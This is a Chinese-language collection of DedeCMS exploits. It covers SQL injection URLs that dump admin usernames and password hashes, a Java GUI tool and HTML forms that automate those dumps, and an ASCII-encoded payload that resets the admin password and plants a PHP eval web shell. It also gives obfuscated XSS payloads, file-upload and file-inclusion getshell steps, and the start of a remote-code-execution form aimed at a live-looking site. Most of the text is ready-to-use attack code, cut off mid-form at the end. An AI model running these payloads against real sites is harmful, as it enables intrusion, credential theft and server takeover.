SQL 注入

Dedecms /member/reg_new.php SQL 注入漏洞

1
2
3
4
5
6
7
8
9
/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&use
rid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40Q
Q.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.
0.1'),('个人
',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','
0','1213asd11111111111123@QQ.COM','100', '0','-
10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree= 2
//把 vdcode=slum 改成当前的验证码
//mtype、safeanswer、safequestion 参数存在 sql 注入

参考文章:http://www.dedeyuan.com/xueyuan/azsy/3175.html http://www.dede58.com/a/zhimengjiaocheng/dedefault/8051.html

Dedecms /member/buy_action.php SQL 注入漏洞

看漏洞分析文章。 参考文章:http://www.vuln.cn/6162 https://blog.csdn.net/jay900323/article/details/41311407

Dedecms /member/buy_action.php SQL 注入漏洞

在网站栏目管理中修改网站栏目的名称,可以把 123 改成 123‘;echo phinfo();# 内容是网 站栏目的名称

image-20220610003957195

点击搜索,加载缓存文件

image-20220610004014574

在服务器中查看文件

image-20220610004030210

参考文章:https://www.secpulse.com/archives/37218.html

Dedecms 5.7 plus/guestbook.php 注入漏洞

利用前提

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http://localhost/Dedecms5.7/plus/guestbook.php
[回复/编辑]上可以看到访问者留言的 ID。则记下 ID,例如:
http://localhost/Dedecms5.7/plus/guestbook.php?action=admin&id=1
访问:
http://localhost/Dedecms5.7/plus/guestbook.php?action=admin&job=editok&msg=errs.cc'
&id=1
提交后,如果是 dede5.7 版本的话,会出现"成功更改或回复一条留言",那就证明修改成功了
再返回到: http://localhost/Dedecms5.7/plus/guestbook.php,看下改的那条留言内容是否变为
了 errs.cc’ 如果是的话,那就证明此漏洞无法再利用应为他开启: php magic_quotes_gpc=off
如果没有修改成功,那留言 ID 的内容还是以前的,那就证明漏洞可以利用。
那么再次访问:
http://localhost/Dedecms5.7/plus/guestbook.php?action=admin&job=editok&id=1&msg=',m
sg=user(),email='
然后返回,那条留言 ID 的内容就直接修改成了 mysql 的 user().

POC,msg 存在 SQL 注入

1
http:/127.0.0.1/plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='

参考文章:https://www.cnblogs.com/LittleHann/p/4521599.html

Dedecms 5.7 /plus/recommend.php SQL 注入漏洞

FILES[type][tmpname]参数存在 SQL 注入,type 和 tmp_name 是可变的

1
http://127.0.0.1/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type] [type]=application/octet-stream&_FILES[type][size]=111

java 源码工具如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
package org.javaweb.dede.ui;

import java.awt.Toolkit;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
** @author yz
*/
public class MainFrame extends javax.swing.JFrame {

private static final long serialVersionUID = 1L;

/**
* Creates new form MainFrame
*/
public MainFrame() {
initComponents();
}

public String request(String url){
String str = "",tmp;
try {
BufferedReader br = new BufferedReader(new InputStreamReader(newURL(url).openStream()));
while((tmp=br.readLine())!=null){
str+=tmp+"\r\n";
}
} catch (Exception e) {
jTextArea1.setText(e.toString());
}
return str;
}

private void initComponents() {

jPanel1 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
jTextField1 = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jTextArea1 = new javax.swing.JTextArea();

setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

jLabel1.setText("URL:");
jTextField1.setText("http://localhost");

this.setTitle("Dedecms recommend.php 注入利用工具-p2j.cn");

int screenWidth = Toolkit.getDefaultToolkit().getScreenSize().width;
int screenHeight = Toolkit.getDefaultToolkit().getScreenSize().height;
this.setBounds(screenWidth / 2 - 229, screenHeight / 2 - 158, 458, 316);

jButton1.setText("获取");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});

jTextArea1.setColumns(20);
jTextArea1.setRows(5);
jScrollPane1.setViewportView(jTextArea1);

javax.swing.GroupLayout jPanel1Layout = new
javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(

jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.A
lignment.TRAILING, false)
.addComponent(jScrollPane1,
javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING,
jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RE
LATED)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE, 331,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RE
LATED)
.addComponent(jButton1,
javax.swing.GroupLayout.PREFERRED_SIZE, 83,
javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGap(0, 0, Short.MAX_VALUE))
);
jPanel1Layout.setVerticalGroup(

jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel1)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jButton1))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE,254, Short.MAX_VALUE))
);

javax.swing.GroupLayout layout = new
javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);

pack();
}// </editor-fold>

private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
String url = jTextField1.getText();
if(null==url||"".equals(url)){
return ;
}
String result =
request(url+"/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20
mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x
7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.
jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294");
Matcher m = Pattern.compile("<h2>(.*)</h2>").matcher(result);
if(m.find()){
String[] s = m.group(1).split("\\|");
if(s.length>2){

jTextArea1.setText("UserName:"+s[1]+"\r\nMD5:"+s[2].substring(3,s[2].length()-1));
}
}
}

public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new MainFrame().setVisible(true);
}
});
}

// Variables declaration - do not modify
private javax.swing.JButton jButton1;
private javax.swing.JLabel jLabel1;
private javax.swing.JPanel jPanel1;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTextArea jTextArea1;
private javax.swing.JTextField jTextField1;
// End of variables declaration
}

参考文章:https://www.freebuf.com/sectool/27206.html

Dedecms v5.1 /tag.php SQL 注入漏洞

利用工具:点我下载

参考文章:https://www.jb51.net/hack/34757.html

Dedecms 5.1 /plus/infosearch.php SQL 注入漏洞

使用浏览器访问

http://www.xxxxx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a

报错如果为:Safe Alert: Request Error step 2 !

则利用以下 exp:

1
2
3
4
5
6
7
8
http://www.xxxxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\’
`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,
25,26, pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\’
`+]=a

##0x2

http://www.xxxxxx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a

报错如果为:Safe Alert: Request Error step 1 !

则利用以下 exp:

1
2
3
4
http://www.xxxxxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\’
`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+C
ONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a
+from+information_schema.tables+group+by+a)b)%23@`\’`+]=a

参考文章:http://www.nxadmin.com/web/1043.html

DEDECMS 5.1 /plus/feedback_js.php SQL 注入漏洞

参数 arurl 存在 SQL 注入。

1
http://st0p/Dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

参考文章:https://www.cnblogs.com/milantgh/p/3616016.html

Dedecms V5.7 SP1 /member/mtypes.php SQL 注入漏洞

​ 1.首先打开: http://127.0.0.1/Dedecms5.5/member/mtypes.php

  1. 添加一个分类,记住 ID(1),和原来的分类名称(fenlei)

  2. 然后打开: http://127.0.0.1/Dedecms5.5/member/mtypes.php?dopost=save&mtypename[1' or @' AND 1%3D1 and (select 'r')%3D'r' and '1'%3D'1]=4 //将其中的 1 改成你的分类 ID

  3. 结束之后打开之后返回: http://127.0.0.1/Dedecms5.5/member/mtypes.php //如果(select ‘r’)=’r’的话 那么分类名称就被改成了 4! 这样我们就能来判断是否满足条件了,二值判断注入

image-20220610010049216

参考文章:https://www.cnblogs.com/LittleHann/p/4518862.html

网站要支持友链,Post 请求中的 logo 参数存在 SQL 注入

http://127.0.0.1/plus/flink_add.php

1
2
3
4
5
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select
concat(userid,0x7c,pwd) from dede_admin limit
0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][nam
e]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname]
[tmp_name]=pass\

成功将 logo 的值写为构造语句的结果,并发布出来。(用户名密码)

image-20220610010302719

参考文章:https://www.seebug.org/vuldb/ssvid-89275

http://wooyun.webbaozi.com/bug_detail.php?wybug_id=wooyun-2014-051950

http://ju.outofmemory.cn/entry/81870

Dedecms 5.7 member/ajax_membergroup.php SQL 注入漏洞

参数 membergrop 存在 SQL 注入

http://127.0.0.1/member/ajax_membergrop.php?action=post&member=

参考文章:http://www.vfocus.net/art/20120504/9998.html

Dedecms v5.7 plus\feedback.php SQL 注入漏洞

参数 aid 存在 sql 注入,需要验证码

http://127.0.0.1/plus/feedback.php?aid=

poc 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<html> <head> <title>Dedecms v5. feedback.php exp</title> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <script language='javascript'> y = document.form1.addr.value;
function exploit()
{
var yanzhen = document.getElementById("yanzhen").value;
var aid = document.getElementById("aid").value;
var sqli = document.getElementById("sqli").value;
document.form1.typeid.value = "0','3','4','5','0','1351739660',
'0','0','0','0','0','aaaaaa'), ('" + aid +"','2',@`'`,'4','5','1','1351739660',
'0','0','0','0','0',"+sqli+")#";
document.form1.action = document.form1.addr.value + "/plus/feedback.php";
document.form1.te.name = "action";
document.form1.submit();
}
function getyanzhen()
{
var x = "<img src='"+ document.form1.addr.value +"/include/vdimgck.php'
width='60' height='24' onclick=\"this.src=this.src+'?'\">";
document.body.innerHTML+=x;
document.form1.addr.value = y;
}
function look()
{
window.location.href =
document.form1.addr.value+"/plus/feedback.php?aid="+document.getElementById("aid").
value;
}
</script>
</head> <body>
############################################################<br/>
Dedecms v5. feedback.php $typeid SQLi<br/>
Dork:inurl:plus/feedback.php?aid=<br/>
############################################################<br/><br/>
<form action="xxx" method="get" name="form1" target="_blank">
程序 URL:<input type="text" id="addr" value="http://" /><br/>
验证码:<input type="text" name="validate" id="yanzhen" value=""/><br/>
存在的 Aid:<input type="/><br/>
SQL 注入语句:<input type="text" id="sqli" value="(SELECT concat(uname,0x5f,pwd,0x5f)
FROM `dede_admin`)" style="width:500px;"/><br/>
<input type="hidden" name="" id="te" value="send"/>
<input type="hidden" name="comtype" value="comments"/>
<input type="/>
<input type="hidden" name="isconfirm" value="yes"/>
<input type="hidden" name="msg" value="90sec"/>
<input type="hidden" name="typeid" value=""/>
<input type="button" onclick="getyanzhen();" value="获取验证码"> <input type="button" onClick="exploit()" value="#Exploit#" />
<input type="button" onClick="look()" value="查看结果" /><br/>
</form>
</body>
</html>

参考文章:https://www.bbsmax.com/A/pRdBnWA9dn/

Dedecms 5.7 plus/search.php SQL 注入漏洞

uNion 部分存在 SQL 注入

http://webshell.cc/plus/search.php?keyword=as&typeArr[ uNion ]=a

参考文章:https://blog.csdn.net/p656456564545/article/details/16112581

Dedecms 5.7 include/dedesql.class.php SQL 注入漏洞

构造 SQL 语句 (提交的时候用 ascii 加密,程序会帮我们自动解密的,所以无视 gpc):

1
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #

完整 SQL 语句:

1
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash'

EXP:

1
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

如果不出问题,后台登录用户 spider 密码 admin 漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。 如果找不到后台,参见以前修改数据库直接拿 SHELL 的方法

1
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval($_POST[spider]);?- ->'');{/dede:php}' WHERE `aid` =1 LIMIT 1 ;

getshell:

1
2
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&ars2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&ar
rs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

会在 plus 目录生成 x.php 密码 m http://127.0.0.1/plus/x.php update 成功后还要访问下

/plus/mytag_js.php?aid=1

参考文章:https://www.hedysx.com//bug/1272.html

Dedecms2007 group/search.php 注入漏洞

参数 keyword 存在 sql 注入

http://127.0.0.1/dg/group/search.php?sad=g&keyword=%cf'

参考文章:https://www.seebug.org/vuldb/ssvid-3926

Dedecms V5 orderby 参数注射漏洞

参数 orderby 存在 sql 注入

http://127.0.0.1/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11

参考文章:https://www.seebug.org/vuldb/ssvid-3824

https://blog.csdn.net/weixin_34021089/article/details/86149637

Dedecms V5.6 plus/advancedsearch.php 任意 sql 语句执行漏洞

参数 sql 存在 SQL 注入。

http://127.0.0.1/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20%23@__admin`

参考文章:https://www.seebug.org/vuldb/ssvid-19796

DedeCMS SQL Injection Vulnerability

参数 id 存在 SQL 注入

1
2
3
http://127.0.0.1/list.php?id=[sql]
http://127.0.0.1/members.php?id=[sql]
http://127.0.0.1/book.php?id=[sql]

参考文章:https://www.seebug.org/vuldb/ssvid-26137

Dedecms plus/infosearch.php 文件注入漏洞

参数 q 存在 SQL 注入

http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20**select**%201,2,userid,4,pwd,6%20from%20dede_admin/*

参考文章:https://www.seebug.org/vuldb/ssvid-4452

XSS

Dedecms 存储型 xss 漏洞

在管理员后台 系统 > 支付工具 >配送方式设置 增加一个配送方式。在简要说明输入 xss

payload 即可触发漏洞。后台和前台都会触发。

image-20220610012835102

后台触发

image-20220610012853118

前台触发

image-20220610012905848

参考文章

https://www.seebug.org/vuldb/ssvid-92863

Dedecms 存在储存型跨站脚本漏洞

前台用户登录下单,在街道地址填写 xss 跨站代码。

image-20220610012955063

下单之后自己的消费中心页面可以看到 xss 漏洞 触发

image-20220610013012997

同样在管理员后台也触发 xss 漏洞

image-20220610013027856

参考文章

https://www.seebug.org/vuldb/ssvid-92855

Dedecms referer xss 跨站

参考文章

https://www.seebug.org/vuldb/ssvid-89657

Dedecms 织梦 v5.6 两处跨站漏洞

TotalResult、gourl 参数存在 XSS

1
2
3
http://www.test.com/plus/search.php?keyword=zhuba&searchtype=titlekeyword&channeltype=0&orderby=&kwtype=1&pagesize=10&typeid=0&TotalResult=<iframesrc=http://www.zhuba.net>&PageNo=2

http://www.test.com/member/login.php?gourl="><iframe src=http://www.zhuba.net>

参考文章

https://www.seebug.org/vuldb/ssvid-19526

Dedecms 织梦 v5.5 两处跨站漏洞

Keyword、TotalResult 存在 XSS。

1
2
3
http://www.Dedecms.com/plus/search.php?keyword="><iframesrc=http://www.gohack.org>&searchtype=titlekeyword&channeltype=0&orderby=&kwtype=1&pagesize=10&typeid=0&TotalResult=<iframe src=http://www.gohack.org>&PageNo=2

http://www.Dedecms.com/plus/list.php?tid=6&TotalResult=<iframesrc=http://www.gohack.org>&nativeplace=0&infotype=0&keyword=&orderby=hot&PageNo=2

参考文章

https://www.seebug.org/vuldb/ssvid-19284

Dedecms 5.7 config.php 跨站脚本漏洞

adminDirHand 参数存在 XSS。

http://127.0.0.1/Dedecms/include/dialog/config.php?adminDirHand="/></script><script\>alert(1);</script>

参考文章

https://www.seebug.org/vuldb/ssvid-61209

Dedecms 5.7 /images/swfupload/swfupload.swf 跨站脚本漏洞

movieNane 参数存在 XSS。

http://localhost/Dedecms/uploads/images/swfupload/swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;alert("bug1024")}}//

参考文章

https://www.seebug.org/vuldb/ssvid-62579

DEDECMS \dede\templets\login.htm gotopage 变量 XSS

gotopage 参数存在 xss。

1
http://v57.demo.Dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

参考文章

https://www.seebug.org/vuldb/ssvid-21023

DEDECMS 跨站及爆绝对路径漏洞

参数 gurl 存在 xss。

http://127.0.0.1/dc/include/jump.php?gurl=%23"</script><script>alert(/00day.cn/)</script>/*

参考文章

https://www.seebug.org/vuldb/ssvid-4125

Dedecms <=5.7 member-login.php 跨站脚本攻击漏洞

gourl 参数存在 XSS。

http://127.0.0.1/dc/member/login.php?gourl=%23"</script><script>alert(/00day.cn/)</script>/*

Dedecms 5.x catalog_tree.php 跨站脚本攻击漏洞

Bt、v、f 参数存在 xss 漏洞

1
2
3
4
5
[Dedecms WebSite]/dede/catalog_tree.php?f=form1&opall=1&v=typeid&bt=[XSS]

[Dedecms WebSite]/dede/catalog_tree.php?f=form1&opall=1&v=[XSS]

[Dedecms WebSite]/dede/catalog_tree.php?f=[XSS]

Dedecms 5.x jump.php 跨站脚本攻击漏洞

gurl 参数存在 XSS。

http://127.0.0.1/dc/include/jump.php?gurl=%23"</script><script>alert(/00day.cn/)</script>/*

Dedecms 5.x article_keywords_select.php 跨站脚本攻击漏洞

f 参数存在 XSS。

[Dedecms WebSite]/dede/article_keywords_select.php?f=[XSS]

Dedecms 5.x pic_view.php 跨站脚本攻击漏洞

Activepath 存在 xss。

[Dedecms WebSite]/dede/file_pic_view.php?activepath=[XSS]

Dedecms 5.x content_list.php 跨站脚本攻击漏洞

Arcrank、cid、keyword、orderby、adminid 存在 XSS。

1
2
3
4
5
[Dedecms WebSite]/dede/content_list.php?arcrank=[XSS]

[DedecmsWebSite]/dede/content_list.php?dopost=listArchives&nowpage=1&totalresult=0&arcrank=[XSS]&cid=[XSS/SQL]&keyword=[XSS]+&orderby=[XSS/SQL]&imageField=%CB%D1%CB%F7

[Dedecms WebSite]/dede/content_list.php?channelid=[XSS]&cid=0&adminid=[XSS]

Dedecms 5.x select_images.php 跨站脚本攻击漏洞

f 参数存在 xss。

[Dedecms WebSite]/include/dialog/select_images.php?f=[XSS]

Dedecms 5.x file_pic_view.php 跨站脚本攻击漏洞

Activepath 参数存在 XSS。

[Dedecms WebSite]/dede/file_pic_view.php?activepath=[XSS]

文件上传/文件包含/文件读取/文件删除

Dedecms V5.7 SP2 前台文件上传漏洞

漏洞复现

进入会员中心,必须是管理员的权限,因为后面上传文件有权限限制。进入会员中心后进入内容中心模块,然后发布一个文章。点击下面的编辑器的上传图片按钮。

image-20220610015251728

点击上传,选择准备好的一句话图片木马文件

image-20220610015305889

再用 burp 工具抓包,将 1.jpg 改为 1.jpg.p*hp

image-20220610015325822

重新请求发送数据包,成功的 getshell 了,并返回了木马地址

image-20220610015347508

用中国菜刀连接看看,成功连接

image-20220610015401830

参考文章

https://mp.weixin.qq.com/s/PCg973wOTeVYvb8-b6R3ZA

Dedecms 5.6 /plus/carbuyaction.php 本地文件包含漏洞

漏洞复现

参数 code 存在文件包含

http://127.0.0.1/plus/carbuyaction.php?dopost=**return**&code=../../uploads/userup/2/12Ka5357-c53.jpg

windows 系统

1、IIS 或者某些 apache 版本下 php 文件系统可以进行路径截断,可以通过///////////////////////////////////(若干/)/././././././././././././././././(若干/.)进行截断。

2、于是可以上传一个精心构造带有恶意 php 代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:

http://127.0.0.1/plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)

则有可能执行 12Ka5357-c53.jpg 中的恶意 php 代码,从而达到入侵的目的。

linux 系统

1、apache 某些版本 php 文件系统支持路径截断,于是同 windows 下,可以通过///////////////////////////////////(若干/)/././././././././././././././././(若干/.)进行截断。

利用方法同 windows:

2、于是可以上传一个精心构造带有恶意 php 代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:

http://127.0.0.1/plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)

则有可能执行 12Ka5357-c53.jpg 中的恶意 php 代码,从而达到入侵的目的。

参考文章

http://blog.sina.com.cn/s/blog_ec459d060102wozd.html

Dedecms V5.6 远程文件删除漏洞

漏洞复现

参数 oldface 存在远程文件删除漏洞,由于有限制,只能删除 jpg、gif 、png 文件

http://ssvdb.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

参考文章

https://www.seebug.org/vuldb/ssvid-19893

select_soft_post.php 页面变量未初始漏洞

漏洞复现

其漏洞利用前提是 register_globals=on,可以通过自定义表单为相关的变量赋值。

利用如下 poc(html 代码)进行提交,需自行修改对应网站地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html> 
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action="http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php" method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
